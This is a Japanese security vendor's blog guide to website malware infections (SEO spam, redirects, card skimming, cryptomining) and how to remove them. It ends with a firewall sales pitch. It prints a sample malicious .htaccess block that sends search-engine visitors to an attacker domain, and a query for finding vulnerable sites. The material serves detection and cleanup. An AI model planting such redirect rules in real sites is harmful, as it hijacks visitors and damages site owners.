ウェブサイトのマルウェア攻撃 完全ガイド――原因・影響・駆除手順を徹底解説
マルウェア攻撃はビジネスに深刻な打撃を与えます。事業の停止はもちろん、金銭的損失、評判の低下、さらには顧客離れをも引き起こします。しかし残念ながら、多くの事業者は実際に感染被害を受けるまでセキュリティ対策を後回しにしがちです。「ハッキングされるまでは誰もが安全だと感じている。ハッキングされていないのは、単に攻撃者がまだ狙っていないだけ」という言葉通りです。
一度感染してしまうと、原因を把握し、影響を理解し、適切な手順で復旧させることが不可欠になります。本記事では、マルウェア攻撃の主な原因から、感染時に取るべき対処法まで、体系的に解説します。
マルウェア攻撃の主な原因トップ5
1. 脆弱性のあるウェブサイトのコード
優れたコンテンツが訪問者を引きつけるように、脆弱なコードはハッカーを引き寄せます。ウェブサイトのコードには、既知の攻撃に対して無防備な「非推奨(deprecated)関数」が含まれていることが少なくありません。ハッカーはこうした関数を積極的に検索しており、該当するコードを使っているサイトは自動的に標的リストに入ってしまいます。
例えば、以下のような検索クエリで非推奨関数を使用しているサイトが一覧として表示されてしまいます。
site: wpseo get_value is deprecated since version WPSEO 1.5.0
2. 未修正の脆弱性(パッチ未適用)
WordPress、OpenCart、Magento、Drupal、JoomlaなどのCMSには、これまで数多くの重大な脆弱性が発見されてきました。これらのCMS自体は進化とともにセキュリティレベルを高めていますが、問題は膨大な数のプラグインや拡張機能です。プラグインはハッカーにとって格好の侵入経路となりえます。
実際、2016年の「パナマ文書」流出事件は、数百万人のWordPressサイトで利用されていた有名プラグイン「Revolution Slider」の脆弱性が原因だったとされています。
3. 入力値サニタイズ(無害化)の欠如
ウェブサイトには検索バー、ログインフォーム、登録フォームなど、ユーザー入力を受け付ける箇所が多数あります。これらの入力値が適切にサニタイズ(無害化)されていないと、ハッカーが悪意あるコードを注入できてしまいます。XSS(クロスサイトスクリプティング)やSQLインジェクションといった攻撃は、入力値検証の欠如が直接の原因です。
近年では、Joomlaが8年間放置されていたLDAP関連の脆弱性をようやく修正した事例もあります。この脆弱性は長年にわたり悪用され続け、その原因も入力フィールドのサニタイズ不足でした。
4. サーバーレベルのセキュリティホール
CMSやアプリケーションコードほど頻繁ではありませんが、サーバー自体がマルウェア攻撃の原因となることもあります。サーバーが侵害された場合、1回の攻撃で数千規模のサイトが一斉に感染する可能性があります。Apache、Nginx、Azure、Tomcatなど主要なサーバーソフトウェアにも脆弱性が発見された実績があります。
著名な例としては、8億人以上の消費者情報を扱う信用情報機関Equifaxへのハッキング事件が挙げられます。原因はWebサーバーの脆弱性だったと報じられました。
5. ファイアウォール(WAF)の未導入
セキュリティのベストプラクティスを実践していても、マルウェアに感染するケースはあります。そこで重要になるのが、24時間365日サイトを見守る追加の防御層です。ウェブサイトファイアウォール(WAF)を導入すれば、正規のトラフィックのみを通過させ、悪意あるボットやハッカーを入口の段階でブロックできます。
ウェブサイト マルウェア対策チェックリスト
上記以外にも攻撃の原因は存在します。以下のチェックリストを活用し、自分のサイトがマルウェアの標的にならないか今すぐ確認しましょう。
- コード内に非推奨(deprecated)関数がないか
- すべての入力値がサニタイズされているか
- FTPではなくSFTPを使用しているか
- 脆弱なバージョンのSSHを使用していないか
- ウェブサイトファイアウォール(WAF)を導入しているか
- すべてのプラグインが最新版に更新されているか
- CMSを最新バージョンで運用しているか
- cPanelの認証情報が強固なものになっているか
- Google Search Consoleに警告が出ていないか
マルウェア攻撃による影響とは
ハッカーの動機はさまざまで、金銭目的の場合もあれば、サーバーリソースを乗っ取って更大規模な攻撃を仕掛けるという目的の場合もあります。動機によって攻撃手法とサイトへの影響は異なりますが、代表的な被害は以下の通りです。
- 機密データの漏洩
- サービスの停止・機能不全
- サーバーリソースの不正利用
- SEOポイズニング(検索汚染)
- エンドユーザーへの標的型攻撃の踏み台化
ゼロデイ攻撃のように、あらゆる対策を講じていても侵入を許してしまうケースもあります。感染後は時間が経つほど被害が拡大します。より多くの顧客が被害に遭ったり、Googleに感染コード入りのページをインデックスされたりする前に、迅速な対応が求められます。Googleにマルウェアを含む状態でインデックスされると、サイトに警告フラグが立ち、SEO評価が大幅に下落します。
マルウェア感染サイトの修復手順
ステップ1:検索結果を確認する
まずGoogleで自分のサイトを検索し、感染の規模とマルウェアの種類を特定します。医薬品(ファーマシー)スパムのリンク生成や、SEO評価を悪用する「日本語スパム」など、特徴的な感染パターンが知られています。次のコマンドで確認できます。
site:YourWebsite.com
日本語スパムに感染している場合、検索結果に見覚えのない日本語ページが表示されます。
ステップ2:.htaccessファイルを調査する
ハッカーは.htaccessファイルにURLリダイレクトのコードを仕込むことが多く、これはSEOスパム感染の典型的な手口です。また、Google Search Consoleのサイト乗っ取りにも.htaccessへの追記が使われます。不審なコードを見つけたら即座に削除してください。悪意ある.htaccessの一例は以下の通りです。
RewriteEngine On
ErrorDocument 404 https://some-maliciousSite.com/yyy.php
RewriteCond %{HTTP_REFERER} .google. [OR]
RewriteCond %{HTTP_REFERER} .ask. [OR]
RewriteCond %{HTTP_REFERER} .yahoo. [OR]
RewriteCond %{HTTP_REFERER} .bing. [OR]
RewriteCond %{HTTP_REFERER} .dogpile. [OR]
RewriteCond %{HTTP_REFERER} .facebook. [OR]
RewriteCond %{HTTP_REFERER} .twitter. [OR]
RewriteCond %{HTTP_REFERER} .blog. [OR]
RewriteRule ^(.*)$ https://some-maliciousSite.com/yyy.php [R=301,L]
ステップ3:indexファイルの正当性を検証する
ハッカーはindexファイルに自身のマルウェアファイルへのパスを組み込み、サイト全体に感染を広げます。一見すると開発者が通常のincludeを行ったように見えるため発見が難しいのですが、詳細に調べると読み込まれているファイルが悪意あるコードであることが分かります。
ステップ4:Search Consoleの手がかりを活用する
Googleは継続的にサイトをクロールしており、マルウェアが注入された正確なページを特定できることがあります。「セキュリティ問題」タブで指摘されたURLを確認したら、「クロール」→「Googleとして取得」を実行し、コード内で強調表示された感染箇所を特定しましょう。
日本語SEOスパムの発見と駆除方法
Googleで自サイトを検索した際に日本語の文字列が表示される場合、日本語SEOスパムに感染している可能性が高いです。厄介なのは、index.phpや.htaccessの不正コードを除去しても感染が残ることがある点です。このマルウェアには特定のシグネチャがなく、CMSごとに異なる方法で注入されるためです。
さらに興味深いことに、GoogleにインデックスされたURLにアクセスすると404エラーが返されます。しかし検索エンジンがクロールした際には日本語ページが表示される――これはクローキング攻撃の典型例で、あなたのSEOランキングを不正に横取りする手口です。
Pub2srv・Mobisla感染の駆除方法
OpenCartおよびWordPressサイトを標的とする「pub2srv」マルウェアは、訪問者をgo.pub2srv.com、go.mobisla.com、go.oclaserver.comなどの悪意あるドメインへリダイレクトさせる感染です。
WordPressの場合は、以下の場所を重点的に確認してください。
- index.php
- functions.php
- データベーステーブル
OpenCartの場合は、以下のデータベーステーブルを確認します。
- oc_product_description テーブル
- oc_category_description テーブル
スパムサイトへのリダイレクト感染
これは最も厄介な感染タイプの一つです。サイトにアクセスした訪問者がすべて、悪意あるサイトやフィッシングページへ強制リダイレクトされます。早期に対処しないと被害が拡大します。index.php内の不正コードの捜索、CMSコアファイル内の不要なPHPファイルの確認、Search Consoleのチェックが対応の基本となります。
OpenCart・Magentoで多発する3大マルウェア感染
- Base64エンコードされた不正コード:意味不明な暗号のようなコード断片がファイル内に見られる場合、この感染の疑いがあります。Magento・OpenCart・WordPressストアの決済ゲートウェイを狙った攻撃でよく確認されます。
- データベース感染:URLのクローキングやSEO評価の不正利用を目的とする場合、ハッカーはデータベースを選択します。商品説明やカテゴリ欄にエンコードされた悪意あるコードが埋め込まれます。
- バックドア:マルウェアそのものよりも危険なのがバックドアです。一部のファイルを駆除しても再感染できるよう、ハッカーが隠しておく仕組みです。目立たない場所に潜ませているため発見が困難です。
OpenCartへのマルウェア注入を防ぐには
人気のEC向けCMSであるOpenCartは、ハッカーやボット、詐欺師の格好の標的です。多くの場合、目的はエンドユーザーのクレジットカード情報の窃取です。主な感染原因は以下の通りです。
- OpenCartのバージョンが一切更新されていない
- セキュリティが脆弱なプラグインの使用
- ファイアウォールやボット対策の未導入
- 無制限のファイルアップロードと未検証のユーザー入力
Magento・OpenCartのクレジットカードマルウェア対策
クレジットカードマルウェア(カードハイジャック)とは、MagentoやOpenCartのショップに悪意あるPHP/JavaScriptコードを注入し、決済時のカード情報を傍受する手口です。この新しい詐欺手法は、半年間もの間検知されずに悪用されてきました。
ECプラットフォームの普及に伴い感染事例も増加しています。ハッカーはCMSのコアファイルを改ざんし、店舗の顧客のカード情報を盗み出します。
Googleの「クロスサイトマルウェア」警告への対処法
Googleはサイトに「Cross Site Malware(クロスサイトマルウェア)」警告を表示することがあります。これは通常、マルウェアに感染している、または悪質な別ドメインからコンテンツやライブラリを読み込んでいる場合に発生します。Googleは通常、問題のある参照元ドメインを通知してくれます。
即効性のある対処法は、警告の原因となっているドメイン/URLをサイト全体のコードから検索することです。SSHコンソールで以下のようなコマンドを実行します(/var/wwwはサイトのホームディレクトリのパスに置き換え、URL部分はGoogleが指摘したドメインに置き換えてください)。
WordPress・OpenCart・Magentoを襲うクリプトマイニングマルウェアの駆除
仮想通貨の高騰に伴い、ハッカーはウェブサイトにマイニングマルウェアを感染させる攻撃を始めました。彼らがよく利用するのがCoinHiveです。本来はサイト運営者が広告の代替としてトラフィックを収益化するためのサービスですが、ハッカーはこれを不正に侵入済みサイトへ仕込み、他人のサーバーリソースで通貨を採掘します。
典型的な悪用ドメインには、ads.locationforexpert[.]com、security.fblaster[.]com、alemoney[.]xyz/js/stat.js などがあります。CoinHiveはJavaScriptとしてサイトに組み込まれ、Moneroブロックチェーンを利用して採掘を行います。
WordPress・Joomlaの低速化の原因「Clokiマルウェア」とは
Clokiマルウェアは、PHPベースの各種サイトに大混乱をもたらしている危険なマルウェアです。特にWordPressとJoomlaでの感染が顕著です。主な症状は以下の通りです。
- サイトの動作が極端に遅くなる
- ホスティング業者からリソース過剰使用の警告メールが届く
- サーバー上に身元不明のcronジョブが存在する
- メールサーバーが正常に機能しない
ClokiはcPanelやSSHへのアクセス権がなくてもサーバーの核心的なコマンドを実行できます。マルウェアスキャンに加えて、すべてのcronジョブを慎重に見直すことを推奨します。
まとめ
私たちは毎月何百ものサイトのマルウェア駆除を行っていますが、そのうち約80%は、オーナーが相談に来る時点で少なくとも2ヶ月前に感染していたことが判明しています。攻撃につながった脆弱性が、どれほど長い間修正されずに放置されていたか想像に難くありません。プラグインを常に最新に保ち、自サイトの技術スタックに関するセキュリティトレンドをフォローし、パッチが公開されたら速やかに適用する姿勢が重要です。
多くのサイト運営者と関わる中で分かったのは、売上、SEO、マーケティング、在庫管理などに追われるあまり、セキュリティが後回しになりがちだということです。そして気づいたときには、対処したくても対処できない「部屋の中の象」になってしまっているのです。
当社のウェブサイトファイアウォールは、使用中のCMSに合わせて事前設定済みのプラグ&プレイ型ソリューションとして、事業者からセキュリティの負担を取り除きます。コーディングやITの専門知識は不要で、導入はわずか5分。セキュリティをシンプルにし、売上やマーケティングなど本業に集中する時間を取り戻しましょう。
次に取るべきアクション
マルウェアに感染したサイトを数時間以内に復旧したい場合は、専門家へのご相談をご検討ください。開発者の方には、無料ダウンロードできるセキュアコーディングチェックリストもご用意しています。
-
Symfonyサイトのハッキング被害 – 症状・原因・修正方法を徹底解説
Symfonyは、PHPのウェブサイトやWebアプリケーションを効率的に構築できる人気のPHPフレームワークです。過去には、Symfonyフレームワークの脆弱性が原因でDrupalが影響を受け、結果的にSymfony製サイトがハッキングされる事態につながったこともありました。フレームワーク自体の脆弱性に加えて、安全でない開発手法もPHPサイトを危険にさらす大きな要因となります。本記事では、Symfonyサイトがハッキングされる原因となる重大な脆弱性と、その具体的な防止策について詳しく解説します。 Symfonyが広く支持されている理由の一つは、疎結合で再利用性の高いPHPライブラリ群を提供して
-
WordPressのプッシュ通知マルウェアとリダイレクトハッキングへの対処方法
ここ数週間、セキュリティ企業Astraの調査チームは、WordPressサイトで発生しているプッシュ通知型マルウェアを追跡しています。この攻撃キャンペーンは、WordPressサイトで継続的に発生しているリダイレクト(不正転送)キャンペーンと組み合わされて実行されています。 リダイレクト先として確認されている悪意のあるドメインには、inpagepush[.]com、asoulrox[.]com、iclickcdn[.]com、justcannabis[.]online、0.realhelpcompany[.]ga、fast.helpmart[.]ga/m[.]js?w=085 などがあります